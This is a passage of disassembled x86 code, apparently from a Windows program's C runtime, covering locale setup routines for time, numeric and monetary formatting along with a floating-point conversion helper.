call sub_418E70
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_426C00
add esp, 0Ch
loc_429576: ; CODE XREF: sub_429480+CEj
mov esp, ebp
pop ebp
retn
sub_429480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429580 proc near ; CODE XREF: sub_422960+1Ep
; sub_422B50+1Ep ...
var_28 = word ptr -28h
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = byte ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
lea eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_429600
add esp, 8
lea edx, [ebp+var_28]
push edx
push 0
push 11h
sub esp, 0Ch
mov eax, esp
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_8]
mov [eax+4], edx
mov cx, [ebp+var_4]
mov [eax+8], cx
call sub_42D6C0
add esp, 18h
mov edx, [ebp+arg_8]
mov [edx+8], eax
movsx eax, [ebp+var_26]
mov ecx, [ebp+arg_8]
mov [ecx], eax
movsx edx, [ebp+var_28]
mov eax, [ebp+arg_8]
mov [eax+4], edx
lea ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_419FA0
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_C]
mov [eax+0Ch], ecx
mov eax, [ebp+arg_8]
mov esp, ebp
pop ebp
retn
sub_429580 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429600 proc near ; CODE XREF: sub_429580+Ep
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_C], 80000000h
mov word ptr [ebp+var_4], 0
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+6]
and ecx, 7FF0h
sar ecx, 4
mov word ptr [ebp+var_14], cx
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+6]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
and edx, 0FFFFFh
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_10], ecx
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jz short loc_429677
cmp [ebp+var_1C], 7FFh
jz short loc_42966F
jmp short loc_4296BA
; ---------------------------------------------------------------------------
loc_42966F: ; CODE XREF: sub_429600+6Bj
mov word ptr [ebp+var_4], 7FFFh
jmp short loc_4296D5
; ---------------------------------------------------------------------------
loc_429677: ; CODE XREF: sub_429600+62j
cmp [ebp+var_8], 0
jnz short loc_4296A4
cmp [ebp+var_10], 0
jnz short loc_4296A4
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov word ptr [edx+8], 0
jmp loc_42975E
; ---------------------------------------------------------------------------
loc_4296A4: ; CODE XREF: sub_429600+7Bj
; sub_429600+81j
movsx eax, word ptr [ebp+var_14]
add eax, 3C01h
mov word ptr [ebp+var_4], ax
mov [ebp+var_C], 0
jmp short loc_4296D5
; ---------------------------------------------------------------------------
loc_4296BA: ; CODE XREF: sub_429600+6Dj
mov cx, word ptr [ebp+var_14]
sub cx, 3FFh
mov word ptr [ebp+var_14], cx
movsx edx, word ptr [ebp+var_14]
add edx, 3FFFh
mov word ptr [ebp+var_4], dx
loc_4296D5: ; CODE XREF: sub_429600+75j
; sub_429600+B8j
mov eax, [ebp+var_8]
shl eax, 0Bh
mov ecx, [ebp+var_C]
or ecx, eax
mov edx, [ebp+var_10]
shr edx, 15h
or ecx, edx
mov eax, [ebp+arg_0]
mov [eax+4], ecx
mov ecx, [ebp+var_10]
shl ecx, 0Bh
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4296F9: ; CODE XREF: sub_429600+142j
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, 80000000h
test ecx, ecx
jnz short loc_429744
mov edx, [ebp+arg_0]
mov eax, [edx+4]
shl eax, 1
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 80000000h
neg edx
sbb edx, edx
neg edx
or eax, edx
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx]
shl eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov dx, word ptr [ebp+var_4]
sub dx, 1
mov word ptr [ebp+var_4], dx
jmp short loc_4296F9
; ---------------------------------------------------------------------------
loc_429744: ; CODE XREF: sub_429600+107j
mov eax, [ebp+var_18]
and eax, 0FFFFh
mov ecx, [ebp+var_4]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+8], ax
loc_42975E: ; CODE XREF: sub_429600+9Fj
mov esp, ebp
pop ebp
retn
sub_429600 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
call sub_41BAE0
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429780 proc near ; DATA XREF: .data:004434D4o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_49217C, 0
jz loc_429821
push 48h
push offset aInittime_c ; "inittime.c"
push 2
push 0ACh
push 1
call sub_416E40
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4297BC
mov eax, 1
jmp loc_429857
; ---------------------------------------------------------------------------
loc_4297BC: ; CODE XREF: sub_429780+30j
mov eax, [ebp+var_4]
push eax
call sub_429860
add esp, 4
test eax, eax
jz short loc_4297ED
mov ecx, [ebp+var_4]
push ecx
call sub_429DF0
add esp, 4
push 2
mov edx, [ebp+var_4]
push edx
call sub_4174C0
add esp, 8
mov eax, 1
jmp short loc_429857
; ---------------------------------------------------------------------------
loc_4297ED: ; CODE XREF: sub_429780+4Aj
mov eax, [ebp+var_4]
mov off_443FE4, eax
mov ecx, dword_4922C8
push ecx
call sub_429DF0
add esp, 4
push 2
mov edx, dword_4922C8
push edx
call sub_4174C0
add esp, 8
mov eax, [ebp+var_4]
mov dword_4922C8, eax
xor eax, eax
jmp short loc_429857
; ---------------------------------------------------------------------------
loc_429821: ; CODE XREF: sub_429780+Bj
mov off_443FE4, offset off_443FE8
mov ecx, dword_4922C8
push ecx
call sub_429DF0
add esp, 4
push 2
mov edx, dword_4922C8
push edx
call sub_4174C0
add esp, 8
mov dword_4922C8, 0
xor eax, eax
loc_429857: ; CODE XREF: sub_429780+37j
; sub_429780+6Bj ...
mov esp, ebp
pop ebp
retn
sub_429780 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429860 proc near ; CODE XREF: sub_429780+40p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], 0
xor eax, eax
mov ax, word_492302
mov [ebp+var_4], eax
xor ecx, ecx
mov cx, word_492304
mov [ebp+var_8], ecx
cmp [ebp+arg_0], 0
jnz short loc_429892
or eax, 0FFFFFFFFh
jmp loc_429DEB
; ---------------------------------------------------------------------------
loc_429892: ; CODE XREF: sub_429860+28j
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 31h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8
push edx
push 32h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0Ch
push edx
push 33h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 34h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 35h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 36h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
push edx
push 37h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 20h
push edx
push 2Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 2Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 2Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 2Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 30h
push edx
push 2Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 34h
push edx
push 2Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 30h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 38h
push edx
push 44h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 3Ch
push edx
push 45h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
push 46h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 44h
push edx
push 47h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 48h
push edx
push 48h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 4Ch
push edx
push 49h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 50h
push edx
push 4Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 54h
push edx
push 4Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 58h
push edx
push 4Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 5Ch
push edx
push 4Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 60h
push edx
push 4Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 64h
push edx
push 4Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 68h
push edx
push 38h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 6Ch
push edx
push 39h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 70h
push edx
push 3Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 74h
push edx
push 3Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 78h
push edx
push 3Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 7Ch
push edx
push 3Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
push 3Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 84h
push edx
push 3Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 88h
push edx
push 40h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8Ch
push edx
push 41h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 90h
push edx
push 42h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 94h
push edx
push 43h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 98h
push edx
push 28h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 9Ch
push edx
push 29h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A0h
push edx
push 1Fh
mov eax, [ebp+var_8]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A4h
push edx
push 20h
mov eax, [ebp+var_8]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A8h
push edx
push 1003h
mov eax, [ebp+var_8]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
loc_429DEB: ; CODE XREF: sub_429860+2Dj
mov esp, ebp
pop ebp
retn
sub_429860 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429DF0 proc near ; CODE XREF: sub_429780+50p
; sub_429780+7Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_429DFE
jmp loc_42A0F9
; ---------------------------------------------------------------------------
loc_429DFE: ; CODE XREF: sub_429DF0+7j
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+38h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+40h]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+44h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+48h]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+4Ch]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+50h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+54h]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+58h]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+5Ch]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+60h]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+64h]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+68h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+6Ch]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+70h]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+74h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+78h]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+7Ch]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+80h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+84h]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+88h]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+8Ch]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+90h]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+94h]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+98h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+9Ch]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+0A0h]
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0A4h]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+0A8h]
push ecx
call sub_4174C0
add esp, 8
loc_42A0F9: ; CODE XREF: sub_429DF0+9j
pop ebp
retn
sub_429DF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A100 proc near ; DATA XREF: .data:004434C8o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, word_4922FE
mov [ebp+var_4], eax
cmp dword_492178, 0
jz loc_42A27A
push offset dword_4922CC
push 0Eh
mov ecx, [ebp+var_4]
push ecx
push 1
call sub_42F050
add esp, 10h
mov edx, [ebp+var_8]
or edx, eax
mov [ebp+var_8], edx
push offset dword_4922D0
push 0Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
push offset dword_4922D4
push 10h
mov edx, [ebp+var_4]
push edx
push 1
call sub_42F050
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, dword_4922D4
push edx
call sub_42A3B0
add esp, 4
cmp [ebp+var_8], 0
jz short loc_42A1E9
push 2
mov eax, dword_4922CC
push eax
call sub_4174C0
add esp, 8
push 2
mov ecx, dword_4922D0
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, dword_4922D4
push edx
call sub_4174C0
add esp, 8
mov dword_4922CC, 0
mov dword_4922D0, 0
mov dword_4922D4, 0
or eax, 0FFFFFFFFh
jmp loc_42A3A2
; ---------------------------------------------------------------------------
loc_42A1E9: ; CODE XREF: sub_42A100+8Fj
mov eax, off_4440D0
cmp dword ptr [eax], offset dword_444098
jz short loc_42A230
push 2
mov ecx, off_4440D0
mov edx, [ecx]
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, off_4440D0
mov ecx, [eax+4]
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, off_4440D0
mov eax, [edx+8]
push eax
call sub_4174C0
add esp, 8
loc_42A230: ; CODE XREF: sub_42A100+F4j
mov ecx, off_4440D0
mov edx, dword_4922CC
mov [ecx], edx
mov eax, off_4440D0
mov ecx, dword_4922D0
mov [eax+4], ecx
mov edx, off_4440D0
mov eax, dword_4922D4
mov [edx+8], eax
mov ecx, off_4440D0
mov edx, [ecx]
mov al, [edx]
mov byte_442F5C, al
mov dword_442F60, 1
xor eax, eax
jmp loc_42A3A2
; ---------------------------------------------------------------------------
loc_42A27A: ; CODE XREF: sub_42A100+1Fj
push 2
mov ecx, dword_4922CC
push ecx
call sub_4174C0
add esp, 8
push 2
mov edx, dword_4922D0
push edx
call sub_4174C0
add esp, 8
push 2
mov eax, dword_4922D4
push eax
call sub_4174C0
add esp, 8
mov dword_4922CC, 0
mov dword_4922D0, 0
mov dword_4922D4, 0
push 88h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_416A30
add esp, 10h
mov ecx, off_4440D0
mov [ecx], eax
mov edx, off_4440D0
cmp dword ptr [edx], 0
jnz short loc_42A2FB
or eax, 0FFFFFFFFh
jmp loc_42A3A2
; ---------------------------------------------------------------------------
loc_42A2FB: ; CODE XREF: sub_42A100+1F1j
push offset a__3 ; "."
mov eax, off_4440D0
mov ecx, [eax]
push ecx
call sub_419FA0
add esp, 8
push 8Dh
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_416A30
add esp, 10h
mov edx, off_4440D0
mov [edx+4], eax
mov eax, off_4440D0
cmp dword ptr [eax+4], 0
jnz short loc_42A33F
or eax, 0FFFFFFFFh
jmp short loc_42A3A2
; ---------------------------------------------------------------------------
loc_42A33F: ; CODE XREF: sub_42A100+238j
mov ecx, off_4440D0
mov edx, [ecx+4]
mov byte ptr [edx], 0
push 92h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_416A30
add esp, 10h
mov ecx, off_4440D0
mov [ecx+8], eax
mov edx, off_4440D0
cmp dword ptr [edx+8], 0
jnz short loc_42A37B
or eax, 0FFFFFFFFh
jmp short loc_42A3A2
; ---------------------------------------------------------------------------
loc_42A37B: ; CODE XREF: sub_42A100+274j
mov eax, off_4440D0
mov ecx, [eax+8]
mov byte ptr [ecx], 0
mov edx, off_4440D0
mov eax, [edx]
mov cl, [eax]
mov byte_442F5C, cl
mov dword_442F60, 1
xor eax, eax
loc_42A3A2: ; CODE XREF: sub_42A100+E4j
; sub_42A100+175j ...
mov esp, ebp
pop ebp
retn
sub_42A100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A3B0 proc near ; CODE XREF: sub_42A100+83p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_42A3B4: ; CODE XREF: sub_42A3B0:loc_42A427j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42A429
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_42A3ED
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_42A3ED
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_42A427
; ---------------------------------------------------------------------------
loc_42A3ED: ; CODE XREF: sub_42A3B0+17j
; sub_42A3B0+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_42A41E
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_42A3FE: ; CODE XREF: sub_42A3B0+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_42A3FE
jmp short loc_42A427
; ---------------------------------------------------------------------------
loc_42A41E: ; CODE XREF: sub_42A3B0+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42A427: ; CODE XREF: sub_42A3B0+3Bj
; sub_42A3B0+6Cj
jmp short loc_42A3B4
; ---------------------------------------------------------------------------
loc_42A429: ; CODE XREF: sub_42A3B0+Cj
mov esp, ebp
pop ebp
retn
sub_42A3B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A430 proc near ; DATA XREF: .data:004434BCo
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_492174, 0
jz loc_42A4FC
push 4Ah
push offset aInitmon_c ; "initmon.c"
push 2
push 30h
push 1
call sub_416E40
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42A469
mov eax, 1
jmp loc_42A55C
; ---------------------------------------------------------------------------
loc_42A469: ; CODE XREF: sub_42A430+2Dj
mov eax, [ebp+var_4]
push eax
call sub_42A560
